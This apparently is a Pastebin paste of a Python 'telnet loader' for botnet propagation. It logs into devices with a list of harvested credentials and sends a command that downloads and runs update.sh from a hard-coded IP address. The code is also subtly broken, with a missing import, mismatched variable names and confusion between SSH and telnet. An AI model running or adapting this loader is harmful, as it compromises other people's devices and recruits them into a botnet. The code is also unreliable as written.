KekSec

Telnet loader

Jan 13th, 2018
1,745
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.16 KB | None | 0 0
  1. #!/usr/bin/python
  2. #Phaaaat hax SSH loader by Milenko
  3.  
  4. import sys, re, os, paramiko, socket
  5. from threading import Thread
  6. from time import sleep
  7.  
  8. if len(sys.argv) < 2:
  9. sys.exit("\033[37mUsage: python "+sys.argv[0]+" [vuln list]")
  10.  
  11. paramiko.util.log_to_file("/dev/null")
  12. rekdevice="cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://80.82.70.225/update.sh; busybox wget http://80.82.70.225/update.sh; chmod 777 update.sh; sh update.sh; rm -f update.sh" #command to send
  13. print "\033[31m"
  14.  
  15. print "S-S-SUUUPER fast telnet loader by Milenko"
  16. print
  17. #simply find and replace newlines to :: then a newline so every IP starts with ::. It will scan those for port 22 or whatever your skiddie heart desires </3
  18. print "Reads ip:user:pass and simply checks the IP for port 23."
  19. print "Then writes loads the bonet onto it and saves the logins with SSH running to \"telnetopen.txt\""
  20. print "It is VERY fast and extremely efficient."
  21. print "As it splits the file into equal chunks for each thread!"
  22.  
  23. threads = int(raw_input("Threads: "))
  24.  
  25. lines = open(sys.argv[1],"r").readlines()
  26.  
  27. fh = open("telnetopen.txt","a+")
  28.  
  29. def chunkify(lst,n):
  30. return [ lst[i::n] for i in xrange(n) ]
  31.  
  32. running = 0
  33.  
  34. loaded = 0
  35.  
  36. def printStatus():
  37. while 1:
  38. sleep(10)
  39. print "\033[32m[\033[31m+\033[32m] Total eye pees loaded: " + str(loaded) + "\033[37m"
  40. if loaded >= 1000:
  41. print "Dayum u got sum phat hax brah :^}"
  42.  
  43. def haxit(ip, username, password):
  44. tn = telnetlib.Telnet(self.ip)
  45.  
  46. try:
  47. tn.read_until(b"sername: ")
  48. tn.write(username + "\n")
  49.  
  50. tn.read_until(b"assword: ")
  51. tn.write(password + "\n")
  52. prompt = tn.read_all()
  53. if "$" in prompt or "#" in prompt:
  54. tn.write(tekdevice + "\n")
  55. print "\033[32m[\033[31m+\033[32m] Command Sent: " + ip + "\033[37m"
  56. except:
  57. pass
  58.  
  59. def check(chunk, fh):
  60. global running
  61. running += 1
  62. threadID = running
  63. for login in chunk:
  64. if login.startswith("DUP"):
  65. continue # skip DUPS cause fuck em
  66.  
  67. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  68. s.settimeout(0.37)
  69. try:
  70. s.connect((login.split(":")[2], 23))
  71. s.close()
  72. print "\033[32m[\033[31m+\033[32m] " + login + " has telnet open. Loading..."
  73. haxit(login.split(":")[0], login.split(":")[1], login.split(":")[2])
  74. fh.write(login + "\r\n")
  75. fh.flush()
  76. except:
  77. pass
  78. print "\033[32m[\033[31m+\033[32m] Thread " + str(threadID) + " has finished scanning " + str(len(chunk)) + " IPs. Loaded: " + str(loads)
  79. running -= 1
  80.  
  81. lines = map(lambda s: s.strip(), lines) # remove all newlines
  82.  
  83. chunks = chunkify(lines, threads) # make seperate chunk for each thread
  84.  
  85. print "STARTING SCAN AND LOAD!!!"
  86.  
  87. Thread(target = printStatus, args = ()).start()
  88.  
  89. for thread in xrange(0,threads):
  90. if thread >= 384:
  91. time.sleep(0.2)
  92. try:
  93. Thread(target = check, args = (chunks[thread], fh,)).start()
  94. except:
  95. pass
  96. print "Scanning... Press enter 3 times to stop."
  97.  
  98. for i in range(0,3):
  99. raw_input()
  100.  
  101. fh.close()
  102.  
  103. os.popen("kill -9 " + str(os.getpid()))
Advertisement
Add Comment
Please, Sign In to add comment